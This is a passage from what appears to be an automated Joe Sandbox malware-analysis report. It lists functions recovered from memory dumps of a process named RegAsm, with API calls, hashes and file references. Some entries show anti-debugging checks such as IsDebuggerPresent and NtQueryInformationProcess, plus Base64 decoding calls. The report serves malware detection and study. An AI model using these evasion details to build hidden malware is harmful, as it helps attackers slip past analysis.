Instruction ID: 34442757cb2dba89111ecaf1a08b1ddadf767e0178fb56bdd7f5ba6ac6b2ad89
Opcode Fuzzy Hash: 68a035546dff133609ef01621cd22b1fce0ed85f29c7e15b0788139cb17f0a06
Instruction Fuzzy Hash: 753130B1D0421AAFCB10DF64DD84AFAB7BDAF08341F4400BAF50EE2141DB789A458F56

Function 1FEB2C8E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 200548A7
IsDebuggerPresent.KERNEL32 ref: 20054973
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 20054993
UnhandledExceptionFilter.KERNEL32(?), ref: 2005499D

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ffc40e6d8adcf8bc3253afd0f58acf231c62c4bc88bbc47e29ed75271c3ae4be
Instruction ID: 987f4d06bf9eb130841b70a3ecc81e98a742728a0232e351210ed4bebf0f2b8c
Opcode Fuzzy Hash: ffc40e6d8adcf8bc3253afd0f58acf231c62c4bc88bbc47e29ed75271c3ae4be
Instruction Fuzzy Hash: E13107B5D053189BEB11DFA4D989BCDBBF8BF08304F1041AAE508AB250EB749A85DF45

Function 1FF0EF30 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf41f3b5669224c1154e9b2a92fe1b82126ef762f8275621b626f57154db146f
Instruction ID: 580b3d8dbc9ffe52ffa395afa5810b980463fe2ba4a9a52fbba4d697830da364
Opcode Fuzzy Hash: bf41f3b5669224c1154e9b2a92fe1b82126ef762f8275621b626f57154db146f
Instruction Fuzzy Hash: 79114931904652ABD312AF24D844B86F7A2BF44331F054679FC499BA60D3B5F860DBE1

Function 00411D15 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000), ref: 00411D35
GetProcessHeap.KERNEL32(00000000), ref: 00411D42
RtlAllocateHeap.NTDLL(00000000), ref: 00411D49

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateBinaryCryptProcessString
String ID:
API String ID: 869800140-0
Opcode ID: db3672f85472a670155c8abbd660c0e1e8bebaa6f5aa7093409a25887b990e0a
Instruction ID: 1282803dd04d0023354c75cd948a0f03f10a46e455fd96422b5e1d003e14b443
Opcode Fuzzy Hash: db3672f85472a670155c8abbd660c0e1e8bebaa6f5aa7093409a25887b990e0a
Instruction Fuzzy Hash: 98011A71500208FFDF118F61EC499ABBBBEFF49364B208569F90692260D735AD91EB60

Function 0040803A Relevance: 6.0, APIs: 4, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408052
LocalAlloc.KERNEL32(00000040,?,?,?,00406716,?), ref: 00408060
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408076
LocalFree.KERNEL32(?,?,?,00406716,?), ref: 00408085

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: a7095c18e2e9ffc69ab22b0fd0780b493c1fbf4a7dae208a2d38c8bf0dee5331
Instruction ID: 46abe6ccc168c49ff5414236808494ab488f1b05eabc1cd7865b72ee1d179531
Opcode Fuzzy Hash: a7095c18e2e9ffc69ab22b0fd0780b493c1fbf4a7dae208a2d38c8bf0dee5331
Instruction Fuzzy Hash: A9F0C9B0542234FBCB315F56DD49E8B7EA9EF06BA0F100165F849A6290D6718940DAE1

Function 1FF937E0 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 163b20eed04c21f543b465dbf508e26d1b36e382aec2e71a79acdea727c2a907
Instruction ID: fb765ea85a34e88d4ff409f27e0d0b780f5f923d005a22795d879d0b0ceb68b6
Opcode Fuzzy Hash: 163b20eed04c21f543b465dbf508e26d1b36e382aec2e71a79acdea727c2a907
Instruction Fuzzy Hash: FAE0B63A404780ABCB265F51DC49E4BBFA6BF48324F040C1CF69561470C7B2E8A1AF42

Function 1FF73770 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ccdf9b743d75f8252b2851f4553c50142fb9d6052622b86404dbf4ff0d5e94
Instruction ID: c4d25642d9fe376e39a765f33c1e39086a10c7e4ccaa8eab5b998ffafd0cb8ce
Opcode Fuzzy Hash: f4ccdf9b743d75f8252b2851f4553c50142fb9d6052622b86404dbf4ff0d5e94
Instruction Fuzzy Hash: 3FE0B63A404700ABCA265F50DE4AE4BBFA6BF48720F040C1CF6D521670C772E860AF42

Function 1FF55910 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

INSERT INTO '%q'.'%q_idx'(segid,term,pgno) VALUES(?,?,?), xrefs: 1FF5597E

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO '%q'.'%q_idx'(segid,term,pgno) VALUES(?,?,?)
API String ID: 0-143322027
Opcode ID: c196b2313707cf48bd30ee2978def4fe31a4ef72a50ac1fc6503c665dc6a41ef
Instruction ID: 4b7ce02631416d4401ac4bff1c1cb444f893bc45cc40a7df7cf9470c50846411
Opcode Fuzzy Hash: c196b2313707cf48bd30ee2978def4fe31a4ef72a50ac1fc6503c665dc6a41ef
Instruction Fuzzy Hash: 47116AB6500306BFE7109F58CC84F86BBADFF45328F044154FA089B262C3B6B5A4CBA1

Function 1FEE8970 Relevance: 4.6, APIs: 3, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6040e33a8ddd24910e40fbb178b91a0475b044fabfeb362069b5c42c4b71a996
Instruction ID: 8651cdce4f12918adf8caef886f45955d7457b81cd23149dd873fbcfcfcdf7cc
Opcode Fuzzy Hash: 6040e33a8ddd24910e40fbb178b91a0475b044fabfeb362069b5c42c4b71a996
Instruction Fuzzy Hash: CF41F436604211AFC701DF68FC409ABB7A6EF85324F1445ACF4488B262E723ED52DBD2

Function 1FF6D3B0 Relevance: 4.6, APIs: 3, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d548763f2df9f136097979b38b5ab20adc95f001ee1345a7150f213b0ef3b8d
Instruction ID: bd28b51784b5f8d123003e0a073b4c5f95dcd70aa8d5f0178168b16a12a9153d
Opcode Fuzzy Hash: 1d548763f2df9f136097979b38b5ab20adc95f001ee1345a7150f213b0ef3b8d
Instruction Fuzzy Hash: 69317EB1600605ABE700DF69DC85F6AB3E9FF48324F008528F948C7291EBB5F950CBA1

Function 1FF555B0 Relevance: 4.6, APIs: 3, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 646b948d1aaf2ffe7e9f98869a83a8c437a44738ec08ba4602869511279d36a2
Instruction ID: b7392cf43e0d348ed5f138ef424938d8bfe9238ea60d2f22f8ccc09d0cc43894
Opcode Fuzzy Hash: 646b948d1aaf2ffe7e9f98869a83a8c437a44738ec08ba4602869511279d36a2
Instruction Fuzzy Hash: 1F317AB1500341AFEB109F2ADC88B5AB7E9EF84318F144829F945CB262E7B5F950CB65

Function 004079B4 Relevance: 3.1, APIs: 2, Instructions: 106libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 004079F1

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7f4e746d43497257b380e8bbf28fb6f85781f8128d75c51677dc91651e3e5933
Instruction ID: 30cadeade97c689f039d768e342b4b5cd82e374fd238f0af17680dba405dfd4d
Opcode Fuzzy Hash: 7f4e746d43497257b380e8bbf28fb6f85781f8128d75c51677dc91651e3e5933
Instruction Fuzzy Hash: FA411871E05205DBDF10CF58C980BAE77B4AB44355F1844BADC0AEB381E774AA40DF65

Function 0041BC1F Relevance: 3.1, APIs: 2, Instructions: 63timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0041BC74
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041BC82

Part of subcall function 0041B460: FileTimeToSystemTime.KERNEL32(?,?), ref: 0041B478

Memory Dump Source

Source File: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Local
String ID:
API String ID: 3656602493-0
Opcode ID: ffa7c2d4b87866ee0d09104c8edf10da5b21b23c0da4914ae21ef91e9681d7a7
Instruction ID: 0cabd02672056997ef9698fb9e8bd176642c8635a022fbde2b48d00af64c3d9c
Opcode Fuzzy Hash: ffa7c2d4b87866ee0d09104c8edf10da5b21b23c0da4914ae21ef91e9681d7a7
Instruction Fuzzy Hash: 4421D4719002498FCF44DFA9D9816EDBBF4FF08300F5440BEE909EA216EB349945DBA4

Function 0040144B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040145D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401464

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 878aa113feeb345db7b8f0cc692ce5c7d1ad24bb81e491075e0ce46534a949ea
Instruction ID: 0a8c8aeacb79fbe93d6f4613f6b6eb081af0130774a68dd7cbd353f62f51ba5f
Opcode Fuzzy Hash: 878aa113feeb345db7b8f0cc692ce5c7d1ad24bb81e491075e0ce46534a949ea
Instruction Fuzzy Hash: 16E01271B40308F7EB209BA0DD06F5B72ACA740749F505175A206E10E0D6B8DA049769

Function 1FEE8CB0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

